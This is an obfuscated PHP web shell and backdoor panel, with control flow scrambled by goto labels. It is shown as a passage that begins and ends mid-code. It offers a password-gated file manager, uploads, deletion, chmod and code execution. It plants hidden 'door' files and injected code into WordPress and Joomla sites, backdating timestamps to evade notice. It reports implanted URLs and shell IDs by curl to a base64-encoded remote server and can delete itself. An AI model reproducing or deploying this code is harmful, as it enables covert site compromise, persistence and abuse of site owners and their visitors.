nr0yF; nw3QK: $uDtUx = IvXXc($OMkYM, $Q0d0r); goto fyhY_; WXFDd: KyMgj: goto VHHHF; CI3AF: $Q0d0r = array(); goto oNzCX; ri6QJ: tkV79: goto ohKJh; fpbbq: if (!empty($JXstA["doors"])) { goto KyMgj; } goto kcV0K; Z7fT1: $Q0d0r["status"] = 2; goto rYOJb; V5WjW: $Q0d0r["code"] = "1001"; goto Rpcl8; CKAbq: echo "<p style="color:red;">Doors is failed! " . $Q0d0r["code"] . "</p>"; goto yoLuM; NzVxa: $eRoV1 = $QbvJe["group_id"]; goto VvyhX; ohKJh: AdyyM: goto o_g0r; VvyhX: $IuCPr = $QbvJe["shell_type"]; goto f3P1B; xEsnA: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto OE19D; yoLuM: goto AdyyM; goto M922M; yDjKt: X5IXQ: goto jTFs2; fyhY_: if ($uDtUx["status"]) { goto kUOGL; } goto CKAbq; jTFs2: $Y67K5 = XrsD2($pDJ9q); goto MBeLt; ioyda: yl7fc: goto rtRTS; mzabU: $Q0d0r["shell_type"] = $IuCPr; goto nw3QK; M922M: kUOGL: goto q1Hbo; Rpcl8: $Q0d0r["status"] = 2; goto JJYyb; q1Hbo: echo "<p style="color:green;">Doors is successfully, Success .h is " . $egTvp["count"] . "</p>"; goto PtUdX; rtRTS: j2SiM: goto mzabU; R9IOf: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=doors&shell_id=" . $DfFx0 . "&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto yDjKt; rYOJb: goto j2SiM; goto WXFDd; kcV0K: $Q0d0r["code"] = "1002"; goto Z7fT1; bocQk: if (!empty($egTvp["door_files"])) { goto ajznI; } goto V5WjW; U8EFG: $Q0d0r["door_urls"] = implode(";", $egTvp["door_files"]); goto TW8Ib; VHHHF: $egTvp = JLSfy($JXstA["doors"], $JXstA["doors_55"], base64_decode($JXstA["wp_files"]), base64_decode($JXstA["third_file"]), base64_decode($JXstA["ht_ban_content"]), base64_decode($JXstA["ht_open_content"]), base64_decode($JXstA["shell_action_code"]), $k5zcJ); goto bocQk; MBeLt: $JXstA = json_decode($Y67K5, true); goto fpbbq; OE19D: $DfFx0 = $QbvJe["shell_id"]; goto NzVxa; TW8Ib: $Q0d0r["shell_other_url"] = $egTvp["shell_other_url"]; goto ADNRK; f3P1B: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=doors&shell_id=" . $DfFx0 . "&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto QWXnl; QWXnl: if (!(stripos($XY7l9, "joomla") !== false)) { goto X5IXQ; } goto R9IOf; o_g0r: } goto iGMd9; cTpgb: $jqDls = file_put_contents($wV4eu, $OD9Rs); goto L93ar; C7Mxo: function L2Tnp($XiAgr, $TV7tx, $qeyqs, $FSwXV, $k5zcJ) { goto annIc; shA9M: Oc04w: goto hm55L; Ljkhr: rhB2J: goto Dhw37; rt0Ol: if (!$AbeJR) { goto rhB2J; } goto bZC57; wG2Il: $egTvp["second_url"] = ''; goto gZJLI; pTgjh: $egTvp["third_url"] = $k5zcJ . "/" . $FSwXV; goto shA9M; hm55L: return $egTvp; goto FtHOB; gZJLI: $egTvp["third_url"] = ''; goto rt0Ol; annIc: $egTvp = array(); goto Wo9aT; mABxk: $PFAIw = xc4tp($FSwXV, $TV7tx); goto wG2Il; Dhw37: if (!$PFAIw) { goto Oc04w; } goto pTgjh; Wo9aT: $AbeJR = xc4Tp($qeyqs, $XiAgr); goto mABxk; bZC57: $egTvp["second_url"] = $k5zcJ . "/" . $qeyqs; goto Ljkhr; FtHOB: } goto BuVol; zPKyK: pItd0: goto Zwqqj; TMVfI: CvJvA($_POST, $EjEmp, $k5zcJ, $XY7l9); goto rxmwW; mwvYz: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto wUT_P; hn1p8: echo " "; goto wSVKb; a9E1R: function eBp_g($ITud5) { goto HP8ZH; fQArJ: yMa2N: goto el7me; EQ6Iy: QPt7E: goto W_Uqy; ooWnq: if (unlink($ITud5)) { goto yMa2N; } goto nRO1F; nRO1F: echo "<p style="color:red;font-weight: bold;">" . $ITud5 . " is delete error" . "</p>"; goto N4inZ; rBmRs: echo "<p style="color:red;font-weight: bold;">" . $ITud5 . " is not exist" . "</p>"; goto J0HaD; HP8ZH: if (file_exists($ITud5)) { goto dXCG0; } goto rBmRs; a_Ewz: chmod($ITud5, 0777); goto ooWnq; RG5PD: dXCG0: goto a_Ewz; pRBf1: LKiJV: goto EQ6Iy; N4inZ: goto LKiJV; goto fQArJ; el7me: echo "<p style="color:green;font-weight: bold;">" . $ITud5 . " is delete success" . "</p>"; goto pRBf1; J0HaD: goto QPt7E; goto RG5PD; W_Uqy: } goto vEQd5; IEjhe: function WdwT1($e2heM, $uwsBo = 10, $eilv5 = 0) { goto OVSr6; zKd16: $vVxY1 = array(); goto Mg0ln; iTVlG: return array(); goto Gg0cj; uFckA: UtDL2: goto mEVZ8; Mg0ln: if (!($eilv5 > $uwsBo)) { goto Oe5aw; } goto iTVlG; mEVZ8: return $vVxY1; goto NTmAr; Hl8uM: $Ji7ga = scandir($e2heM); goto LS2dQ; OVSr6: global $KNM5I; goto zKd16; LS2dQ: foreach ($Ji7ga as $UCzbv) { goto Mo3Ec; m_tsF: LGTbT: goto aeWBM; Vij7c: if (!is_dir($wV4eu)) { goto LGTbT; } goto AeDr4; AeDr4: $vVxY1[] = $wV4eu; goto GULfT; aeWBM: FN0rA: goto tS5uP; sXS2q: goto FN0rA; goto EGYZh; sfPe6: $wV4eu = $e2heM . DIRECTORY_SEPARATOR . $UCzbv; goto Vij7c; EGYZh: vzq8U: goto sfPe6; M0I1K: $vVxY1 = array_merge($vVxY1, WDWt1($wV4eu, $uwsBo, $eilv5 + 1)); goto m_tsF; GULfT: $KNM5I[] = $wV4eu; goto M0I1K; Mo3Ec: if (!($UCzbv == "." || $UCzbv == "..")) { goto vzq8U; } goto sXS2q; tS5uP: } goto uFckA; Gg0cj: Oe5aw: goto Hl8uM; NTmAr: } goto x_M2L; j_c1X: $G4FS2 = $_POST["file_new_name"]; goto HvyIx; rypdp: echo " <div class="row">\xa <form action="?type=5" method="post">
<input type="hidden" id="path" name="path" value=""; goto Q58J0; oKOuC: goto Q3I6s; goto BnsUo; xbLjh: echo " <input type="text" class="form-control" id="new_chmod" name="new_chmod" value=""; goto SSHbZ; HpR_x: emSAu: goto IYzb2; vEQd5: function po841($e2heM, $WnQoF, $eilv5 = 0, $uwsBo = 10) { goto XjdO3; NCCrA: QoGOU: goto Wi3bC; lk0aB: URNz3: goto hMxhl; S1BVI: return $ksg4D; goto AmUO7; P9kmV: closedir($qPSqX); goto KJmGH; V8Pk4: cw0ZH: goto lk0aB; KJmGH: R_deo: goto S1BVI; x9qq5: if (is_dir($eGTQx)) { goto wMM2C; } goto DJehC; DJehC: if (!(strpos(file_get_contents($eGTQx), $WnQoF) !== false)) { goto pCgw2; } goto L2wAo; hTPpE: dtzek: goto Km_0j; hMxhl: goto dtzek; goto BDo7f; quViW: return $ksg4D; goto NCCrA; kv4aB: $eGTQx = $e2heM . "/" . $ITud5; goto x9qq5; Km_0j: if (!(false !== ($ITud5 = readdir($qPSqX)))) { goto eg2wR; } goto YFnyR; QhKvk: wMM2C: goto vHMrX; BDo7f: eg2wR: goto P9kmV; Wi3bC: if (!($qPSqX = opendir($e2heM))) { goto R_deo; } goto hTPpE; licwK: if (!($eilv5 >= $uwsBo)) { goto QoGOU; } goto quViW; XjdO3: $ksg4D = array(); goto licwK; THrwD: goto cw0ZH; goto QhKvk; o7sy6: pCgw2: goto THrwD; vHMrX: $ksg4D = array_merge($ksg4D, pO841($eGTQx, $WnQoF, $eilv5 + 1, $uwsBo)); goto V8Pk4; L2wAo: $ksg4D[] = $eGTQx; goto o7sy6; YFnyR: if (!($ITud5 != "." && $ITud5 != "..")) { goto URNz3; } goto kv4aB; AmUO7: } goto rWyrA; BifCi: echo get_current_user(); goto NPvl6; PPh00: echo $F0LeY; goto sWo8c; whqIi: $Ce_1b = true; goto HLEC6; kaj0o: echo $QbvJe["HTTP_HOST"]; goto hLYzr; NPvl6: echo "</div></p>\xa <p>\xa <a href="?path="; goto PPh00; q4JEp: echo $_SESSION["dGhpcmRncm91cA=="]; goto iXIS3; qjhuK: $wxqQ0 = $_POST; goto jcyIM; Zd57p: echo "<div class="alert alert-danger" role="alert">Failed to modify file content!</div>"; goto An7OU; P28Yf: $UnhrJ = $_POST["childcheck"]; goto e4_IS; QT5ix: $hicZU = $wV4eu; goto EaEYf; iXIS3: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto Dy9E4; cLfDB: goto To1ZZ; goto qxF4k; cPSaN: if (!is_readable($hicZU)) { goto ZycFN; } goto whqIi; bpKbj: echo htmlspecialchars($vQi2F); goto rzAxT; Dy9E4: echo $_SESSION["dHlwZQ=="]; goto FODtv; E3kR1: echo ""/>\xa <div class="col-12" style="margin-bottom: 1rem;">\xa <input type="hidden" name="act" value="del"/>
<button type="submit" class="btn btn-danger btn-xs">Delete</button>
</div>\xa <table class="table table-bordered">
<thead>\xa <tr>
<th>
<div class="form-check">\xa <input class="form-check-input" type="checkbox" value="1" id="allcheck" name="allcheck">
</div>
</th>
<th>Name</th>\xa <th>Url</th>
<th>Size</th>\xa <th>Modify</th>
<th>Permission</th>\xa <th>Action</th>
</tr>
</thead>
<tbody>
"; goto G9xs8; Atr7U: $UKoAN = $wV4eu; goto QT5ix; LvBZH: UMMVG: goto Ux77u; NDJ_W: echo "<div class="alert alert-danger" role="alert">The file already exists!</div>"; goto Sx78n; WKlje: pDQgy: goto qbluw; NL5mM: $wYqlh = isset($_REQUEST["act"]) ? $_REQUEST["act"] : ''; goto P21rC; rVmmp: $Nd6T2 = substr(sprintf("%o", $JLGB3), -4); goto wVbxQ; MwlK2: $XY7l9 = $XY7l9 . $tryGD; goto rMavD; JnxzV: function TuSrB($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto dPGNP; lKp2x: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=reback&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto RtgCO; tVFvA: izxIL: goto X90X_; uwv4d: ueTZL: goto S09e0; T7D8M: K8j9u: goto hKuet; yyxsG: $eRoV1 = $QbvJe["group_id"]; goto i23fH; KNsAF: goto u0Lat; goto T7D8M; b5z5t: if ($uDtUx["status"]) { goto ueTZL; } goto uLhI3; MxtyZ: foreach ($P3H1y as $BKaq1 => $HLoEV) { goto kUTBY; eeUFx: $fIVj2 = str_replace("[##in_contnt_" . $BKaq1 . "##]", $Lnghj, $fIVj2); goto TSqRH; CKVNF: HVJ8e: goto shXpm; TSqRH: $hJqm6 = $JXstA["code"] . $JXstA["wp_ycode"]; goto TrxrH; TrxrH: xc4TP($HLoEV, $hJqm6); goto CKVNF; kUTBY: $Lnghj = N2fnJ($HLoEV); goto eeUFx; shXpm: } goto orxPr; RinEu: foreach ($GC0tr as $BKaq1 => $HLoEV) { goto hSkJp; hLQnF: sJI93: goto Jn6_Z; Gx4d8: $iPADL[] = $k5zcJ . $HLoEV; goto WgMWq; hSkJp: $hYQUi = Xc4Tp($HLoEV, $fIVj2); goto HGaup; HGaup: if (!$hYQUi) { goto IXH65; } goto Gx4d8; WgMWq: IXH65: goto hLQnF; Jn6_Z: } goto qYEDA; P0vW8: $P3H1y = explode(";", $JXstA["in_files"]); goto MxtyZ; U126l: foreach ($cAhNO as $BKaq1 => $HLoEV) { goto Ax7A4; UuLRP: $fIVj2 = str_replace("[##ht_contnt_" . $BKaq1 . "##]", $Lnghj, $fIVj2); goto vm9Aj; Ax7A4: $Lnghj = n2Fnj($HLoEV); goto UuLRP; k2ElT: UaYvi: goto CtDml; NFzAt: xC4tp($HLoEV, $hJqm6); goto k2ElT; vm9Aj: $hJqm6 = $JXstA["ht_contnt"]; goto NFzAt; CtDml: } goto u2rpW; TAVBd: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto gjfsW; i23fH: $DfFx0 = $QbvJe["shell_id"]; goto Z_wy1; hKuet: $Q0d0r["wp_urls"] = $iPADL; goto Sq93x; IEmd_: $JXstA = json_decode($Y67K5, true); goto ds5C2; Sq93x: $Q0d0r["status"] = 1; goto etwDS; X90X_: $fIVj2 = $JXstA["wp_code_bak"]; goto P0vW8; AjL_b: foreach ($iPADL as $BKaq1 => $HLoEV) { echo "<p><a href="" . $HLoEV . "" target="_blank">" . $HLoEV . "</a></p>"; oM78G: } goto pLQif; lG7Qq: $GC0tr = explode(";", $JXstA["wp_files"]); goto g4Up3; orxPr: b8NqI: goto osSGY; Eb8RZ: $Q0d0r["action"] = "reback"; goto TAVBd; UWGxs: if (!empty($iPADL) && count($iPADL) > 0) { goto K8j9u; } goto BOhS0; uLhI3: echo "<p style="color:red;">Reback is failed! " . $Q0d0r["code"] . "</p>"; goto bVrmw; bVrmw: goto VBjTB; goto uwv4d; qYEDA: wABoM: goto UWGxs; g4Up3: $iPADL = array(); goto RinEu; etwDS: u0Lat: goto wG5C6; osSGY: $cAhNO = explode(";", $JXstA["ht_files"]); goto U126l; lNbxj: $Q0d0r["status"] = 2; goto KNsAF; RtgCO: if (!(stripos($XY7l9, "joomla") !== false)) { goto YGetC; } goto yfh3c; u60SD: $Q0d0r["shell_url"] = $k5zcJ; goto Pl4zn; nE0Oy: $Y67K5 = xRsD2($pDJ9q); goto IEmd_; beMgO: $Q0d0r["code"] = "1002"; goto vIvGG; Z_wy1: $IuCPr = $QbvJe["shell_type"]; goto lKp2x; pLQif: U5rBc: goto c_XWl; S09e0: echo "<p style="color:green;">Reback is successfully</p>"; goto AjL_b; yfh3c: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=reback&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto K0CKq; Pl4zn: $Q0d0r["shell_type"] = $IuCPr; goto T0G64; u2rpW: VjPRI: goto lG7Qq; vIvGG: $Q0d0r["status"] = 2; goto XUSHD; c_XWl: VBjTB: goto SLu7a; dPGNP: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto yyxsG; T0G64: $uDtUx = ivXXC($OMkYM, $Q0d0r); goto b5z5t; lLvby: $Q0d0r["shell_id"] = $DfFx0; goto Eb8RZ; K0CKq: YGetC: goto nE0Oy; ds5C2: $JXstA = olwxG($JXstA); goto XnFBL; gjfsW: if (isset($JXstA["in_files"]) && !empty($JXstA["in_files"])) { goto izxIL; } goto beMgO; BOhS0: $Q0d0r["code"] = "1001"; goto lNbxj; XUSHD: goto E4boW; goto tVFvA; wG5C6: E4boW: goto u60SD; XnFBL: $Q0d0r = array(); goto lLvby; SLu7a: } goto WmkRj; e231o: IfFyA: goto OZ7Za; eFcLP: goto MvZdZ; goto T2_GK; nv2q2: if ($s1OWX == 2 || $s1OWX == 3) { goto My3vo; } goto sAzSm; hLYzr: echo "</div>\xa <div style="width: 30%;display:inline-block;">User: "; goto BifCi; ZU3Bz: $hicZU = $wV4eu; goto ExMHy; t3Ahy: if ($s1OWX == 6) { goto ImIH3; } goto N14io; H6thk: function f1djr($hicZU, $MxkgW) { goto nMqNb; l3W71: $MxkgW = array_merge($wr8mn, $SO_dz); goto tdo0r; juCvR: m8ooN: goto i4PKc; i4PKc: sort($wr8mn); goto dh13r; dh13r: sort($SO_dz); goto l3W71; tdo0r: return $MxkgW; goto EKLIj; s8wYX: foreach ($MxkgW as $BKaq1 => $HLoEV) { goto bXAUo; hKBim: $wr8mn[] = $HLoEV; goto VNEB8; bXAUo: if (is_dir($hicZU . "/" . $HLoEV)) { goto PERnb; } goto xCx87; xCx87: $SO_dz[] = $HLoEV; goto mj4UZ; VLYVT: KwuXk: goto c5KmM; xYgAZ: PERnb: goto hKBim; mj4UZ: goto wVTSe; goto xYgAZ; VNEB8: wVTSe: goto VLYVT; c5KmM: } goto juCvR; nMqNb: $wr8mn = array(); goto mPcCt; mPcCt: $SO_dz = array(); goto s8wYX; EKLIj: } goto JnxzV; HcROf: echo $wV4eu; goto aWAy0; s25La: Wb7aV: goto bIR24; wVbxQ: goto Ow0MA; goto FO13T; abw8E: ExkxQ: goto T5wen; Qdhc1: $iakIc = file_get_contents($UKoAN); goto xbLjh; wDPOe: PVQUq: goto CyQ3V; U1pRj: $yj1fW = str_replace($F0LeY, '', $hicZU); goto D8O0N; wR0RY: Jggsp: goto D_J_m; M00m2: echo $UKoAN; goto CA6oi; bJawj: function O8wlV($wjAuf, $bzdc9) { goto E5Q4f; E5Q4f: $B1ncJ = false; goto TpKs0; TpKs0: if (is_dir($wjAuf)) { goto vweCx; } goto SwaqH; uzJLL: B4MPo: goto YyVj9; shqnS: return $B1ncJ; goto AsaJJ; YyVj9: BdWnc: goto shqnS; X1PIC: $B1ncJ = false; goto IZkd8; IZkd8: goto B4MPo; goto LSPgo; ZukmB: goto BdWnc; goto DadSf; gwN87: if (chmod($wjAuf, $bzdc9)) { goto oTL_X; } goto X1PIC; tMqy1: $B1ncJ = true; goto uzJLL; SwaqH: $B1ncJ = false; goto ZukmB; LSPgo: oTL_X: goto tMqy1; DadSf: vweCx: goto gwN87; AsaJJ: } goto P7SOa; qObaN: PDCgV: goto TMVfI; nwXK5: Hlojy: goto t_zRj; Gfapv: echo $UKoAN; goto zKL7T; LwRGb: echo "" method="post">\xa <input type="hidden" name="act" value="shell"/>\xa <input type="hidden" name="type" value="lock"/>
<button type="submit" class="btn btn-danger btn-sm">LockAll</button>
</form>
</div>
</div>
</div>
<div class="bd-example bd-example-row" style="border: 1px solid #ededed;padding: 1rem;margin: 1rem 0;">\xa <div class="row">\xa <div class="col-12 col-sm-12" style="text-align: center;font-weight:bold;">\xa "; goto eLNTc; xnpsw: if (!($J8pN3 > 0)) { goto obzjz; } goto wzN41; jgSdi: function IvXxC($pDJ9q, $QbvJe) { goto Wr8Uu; ZYXqx: $uDtUx = json_decode($c_l18, true); goto AxCzk; NSs9h: curl_setopt($XYopq, CURLOPT_HTTPHEADER, array("Content-Type: application/json", "Content-Length: " . strlen($Epc2h))); goto SaUI0; Oo3FM: curl_setopt($XYopq, CURLOPT_POSTFIELDS, $Epc2h); goto h3qEd; oTQUm: return $egTvp; goto vfReL; h3qEd: $c_l18 = curl_exec($XYopq); goto uYQVS; SaUI0: curl_setopt($XYopq, CURLOPT_POST, true); goto Oo3FM; AafLI: $egTvp["msg"] = curl_error($XYopq); goto DeRRu; SC5Bg: curl_setopt($XYopq, CURLOPT_SSL_VERIFYPEER, false); goto NSs9h; daiQG: if (!curl_errno($XYopq)) { goto yspGP; } goto PxtQA; Wr8Uu: $Epc2h = json_encode($QbvJe); goto YJvGY; DeRRu: yspGP: goto rVsra; rVsra: curl_close($XYopq); goto ZYXqx; z1rm7: curl_setopt($XYopq, CURLOPT_RETURNTRANSFER, true); goto SC5Bg; uYQVS: $egTvp = array(); goto daiQG; PxtQA: $egTvp["status"] = 0; goto AafLI; AxCzk: $egTvp["status"] = $uDtUx["status"]; goto oTQUm; YJvGY: $XYopq = curl_init($pDJ9q); goto z1rm7; vfReL: } goto ajHBO; oYnDt: echo "style="color:red;""; goto oKOuC; c6rxL: echo "<div class="alert alert-success" role="alert">File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " uploaded!</div>"; goto Gb60l; Ep86G: echo "" placeholder="Search content">
</div>
<button type="submit" class="btn btn-success">Search</button>
</form>\xa </div>\xa "; goto cVbEW; sWo8c: echo "">Project</a>
</p>\xa </div>
<div class="row">
<p>\xa Path: \xa "; goto m4rqZ; D284E: if ($_POST["type"] == "reback") { goto emSAu; } goto GHMZq; hHZ55: $KW03p = array(); goto vKQV7; WXAm8: echo ""/>\xa \x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto eIFkn; mcaei: if (chmod($UKoAN, octdec($AwLlg))) { goto OcNC4; } goto U3yPr; GHDl1: echo " "; goto KVfR8; LZ6TG: if ($ITud5) { goto Wb7aV; } goto fX9vT; QbEOT: if (empty($wV4eu)) { goto KDkHK; } goto Atr7U; Losku: unlink(__FILE__); goto XlDLu; Rdrav: echo ""/>\xa <button type="submit" class="btn btn-danger btn-sm">Doors</button>
</form>\xa </div>
<div class="col-2 col-sm-1">\xa <form action="?path="; goto jslKn; nvXpx: echo ""/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="doors"/>
<input type="hidden" name="group_id" value=""; goto o1BDQ; czdzs: $QDo03 = $QbvJe["REQUEST_SCHEME"] . "://" . $QbvJe["SERVER_NAME"]; goto QbEOT; MfDmB: echo ""/>\xa \x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto mwvYz; Dgckg: Xo9Z0($_POST, $EjEmp, $k5zcJ, $XY7l9); goto PNcWR; crkoK: echo ""/>\xa <input type="hidden" name="act" value="upload"/>
<input class="form-control form-control-sm" id="formFileSm" name="fileToUpload" type="file" style="width: 200px;display: inline-block;">
<button type="submit" class="btn btn-info btn-sm">Upload</button>\xa <a class="btn btn-primary btn-sm" href="?path="; goto i4pUj; M8prv: goto PWzkU; goto a81F7; sAzSm: if ($s1OWX == 4) { goto anv4L; } goto QpF5b; qbluw: MvZdZ: goto LI0CE; ajHBO: function xC4tp($Xmvoe, $hJqm6) { goto Her3O; PXYSY: LmDiP: goto faGBw; faGBw: $s3FZc = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto K6YXB; GMWMW: return false; goto xTG1X; Her3O: $wV4eu = $_SERVER["DOCUMENT_ROOT"] . "/"; goto PNalp; w7zq0: if (ZhUve($UKoAN, $hJqm6)) { goto LmDiP; } goto GMWMW; az46d: lwYWy: goto aYmNh; DxAbb: return true; goto op2qM; o2Oqg: if (is_dir($SI2LT)) { goto lwYWy; } goto OcJce; op2qM: hpoLG: goto VtUq5; aYmNh: $UKoAN = $wV4eu . $Xmvoe; goto w7zq0; xTG1X: goto hpoLG; goto PXYSY; QwUR2: return false; goto aaL4B; OcJce: if (mkdir($SI2LT, 0755, true)) { goto YFZy_; } goto QwUR2; K6YXB: touch($UKoAN, $s3FZc); goto DxAbb; aaL4B: YFZy_: goto az46d; PNalp: $SI2LT = $wV4eu . dirname($Xmvoe); goto o2Oqg; VtUq5: } goto D0LIN; gHwOD: $AwLlg = trim($_POST["new_chmod"]); goto yrsSn; cjPyF: echo " <form action="?type=8" method="post" id="deleteForm" style="margin: 1rem;">
<input type="hidden" name="act" id="act" value="deleteFiles"/>\xa <div>\xa <p>\xa\x9 <input type="checkbox" name="allcheck" id="allcheck" value="1"/> all check\xa\x9 \xa\x9 <input type="button" class="delBtn" value="delete"/>
\x9 </p>\xa\x9 </div>\xa <div>
"; goto AimTL; cK5Oe: echo "<div style='color: red;font-weight:bold;'>" . $uvI30 . " is Failed:" . $ZrvyM . ".</div>"; goto W7ucs; Ig42V: echo $UKoAN; goto X_Krb; z86_R: echo "</div>
<div style="width: 30%;display:inline-block;">OS: "; goto u7dbF; D_J_m: goto UsIO3; goto Hrec1; u9XO9: $gNE_W = trim($_POST["search_keys"]); goto Ym51i; M_Ifp: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto PXm5V; lTgfU: JQhJL: goto hn1p8; vnKye: echo " </div>
</div>\xa </div>\xa <form action="?path="; goto p5pGF; Aupmn: goto oCa2Q; goto qObaN; xCmGH: echo ""/>
<input type="hidden" id="path" name="path" value=""; goto M00m2; wwq7f: function d5lou($JVtdv) { goto zbovL; QygS3: if (($iIszP & 0x2000) === 0x2000) { goto lo0As; } goto Ak0nr; ojfao: $KhkTN .= $iIszP & 0x100 ? "r" : "-"; goto TWNc1; FCh3U: goto yUM3v; goto jgAtB; KzW92: $KhkTN .= $iIszP & 0x4 ? "r" : "-"; goto Y13_W; TWNc1: $KhkTN .= $iIszP & 0x80 ? "w" : "-"; goto jWqVO; Ak0nr: if (($iIszP & 0x1000) === 0x1000) { goto s5TJ6; } goto Pk1Wn; dFPY_: if (($iIszP & 0x4000) === 0x4000) { goto KMfXo; } goto QygS3; ZK7_y: if (($iIszP & 0xa000) === 0xa000) { goto AS4qd; } goto gXfhr; ny_xX: goto yUM3v; goto k9qbv; VIpKU: goto yUM3v; goto zo6BN; Pk1Wn: $KhkTN = "u"; goto FCh3U; P_ZBO: $KhkTN .= $iIszP & 0x8 ? $iIszP & 0x400 ? "s" : "x" : ($iIszP & 0x400 ? "S" : "-"); goto KzW92; p1rRH: $iIszP = fileperms($JVtdv); goto jz9A2; ubJdg: $KhkTN = "s"; goto haAR8; IwDv9: $KhkTN = "b"; goto ny_xX; Y13_W: $KhkTN .= $iIszP & 0x2 ? "w" : "-"; goto BoVzw; jgAtB: vSsds: goto ubJdg; haAR8: goto yUM3v; goto b26dM; dQ5nS: $KhkTN = "l"; goto raHjx; EJeuJ: goto yUM3v; goto ZqlPX; zbovL: clearstatcache(true, $JVtdv); goto p1rRH; wPbCL: return $KhkTN; goto oHL4M; BrsuS: $KhkTN .= $iIszP & 0x10 ? "w" : "-"; goto P_ZBO; b26dM: AS4qd: goto dQ5nS; gXfhr: if (($iIszP & 0x8000) === 0x8000) { goto aZOTi; } goto W5TTG; Yo6x4: $KhkTN = "-"; goto EJeuJ; W5TTG: if (($iIszP & 0x6000) === 0x6000) { goto oD0n2; } goto dFPY_; dhyZS: aZOTi: goto Yo6x4; KZ7zb: $KhkTN = "c"; goto VIpKU; tcdx5: $KhkTN = "p"; goto N8hgB; bGsvE: goto yUM3v; goto nGgUu; raHjx: goto yUM3v; goto dhyZS; jWqVO: $KhkTN .= $iIszP & 0x40 ? $iIszP & 0x800 ? "s" : "x" : ($iIszP & 0x800 ? "S" : "-"); goto vf6JH; jz9A2: if (($iIszP & 0xc000) === 0xc000) { goto vSsds; } goto ZK7_y; nGgUu: lo0As: goto KZ7zb; N8hgB: yUM3v: goto ojfao; ZqlPX: oD0n2: goto IwDv9; zp_Yu: $KhkTN = "d"; goto bGsvE; zo6BN: s5TJ6: goto tcdx5; k9qbv: KMfXo: goto zp_Yu; vf6JH: $KhkTN .= $iIszP & 0x20 ? "r" : "-"; goto BrsuS; BoVzw: $KhkTN .= $iIszP & 0x1 ? $iIszP & 0x200 ? "t" : "x" : ($iIszP & 0x200 ? "T" : "-"); goto wPbCL; oHL4M: } goto H6thk; N14io: if ($s1OWX == 7) { goto tTBXc; } goto n0Gl1; BSldn: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto E3kR1; CxARo: $OD9Rs = $_REQUEST["file_content"]; goto cTpgb; grj3P: Ow0MA: goto rypdp; pkHcL: if (empty($plyVc)) { goto Eut01; } goto HuLFN; Htg9a: goto pDQgy; goto wDPOe; dn1tX: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto nvXpx; PxYFt: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto xCmGH; hGOXD: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto crkoK; BPaCi: if ($zjmtS) { goto pItd0; } goto EEP1_; CyQ3V: echo "<div class="alert alert-success" role="alert">Directory created successfully!</div>"; goto WKlje; q4QcV: $wjAuf = isset($_POST["dir"]) ? $_POST["dir"] : ''; goto czdzs; LMLlr: su6K8: goto tvIki; YicUn: $SO_dz = po841($F0LeY, $gNE_W, 0, 10); goto cjPyF; j5H_Y: w66DR: goto c6rxL; uiYo7: echo $_SESSION["dHlwZQ=="]; goto HGwOB; IxzXl: if (!is_writable($hicZU)) { goto ExkxQ; } goto yuvYk; XQUCL: goto su6K8; goto UCqeu; XnPCp: e1LrX: goto Islsd; OZ7Za: jVnIp: goto pD88J; V4uY6: goto pyl_5; goto qAO2R; ryBts: echo ""/>
\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto LNQtG; BF6UP: g9AaO: goto Dgckg; esMyP: error_reporting(0); goto Bs0v9; VE_jZ: $hicZU = dirname($hicZU); goto XpYW3; MK2l8: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto JxCQV; plOty: echo "" method="post">\xa\x9 \x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto HLWad; NzcAi: u6bTi: goto c03sQ; s9Rlt: if (!empty($_SESSION["c2hlbGxfY29kZV9ud205Zjk="]) && sha1(md5($_SESSION["c2hlbGxfY29kZV9ud205Zjk="])) == "d3d034c472305214dd357b0a716885197ac84612") { goto uZAhS; } goto GML0F; kPNw6: iEiWR: goto kfhB2; TiuxF: echo "" method="post">
\x9\x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto dn1tX; fX2nG: goto fPOw0; goto czdL2; wSVKb: if (!(isset($_POST["act"]) && $_POST["act"] == "exec_code")) { goto VKpcZ; } goto Sptby; snN32: $XY7l9 = ozb8u($F0LeY); goto rusIH; dQMcY: echo ""/>
<input type="hidden" name="shell_id" value=""; goto mWD0V; s_J93: echo $UKoAN; goto e0xkx; qAO2R: npqwo: goto Mwh5N; KC8zr: foreach ($SO_dz as $BKaq1 => $HLoEV) { EBP_G($HLoEV); eKJ2C: } goto GDxGg; HKkWH: goto bLWGX; goto NzcAi; fXAYh: echo "" placeholder="New Folder Name">
</div>\xa <button type="submit" class="btn btn-success">Create Now</button>\xa </form>\xa </div>
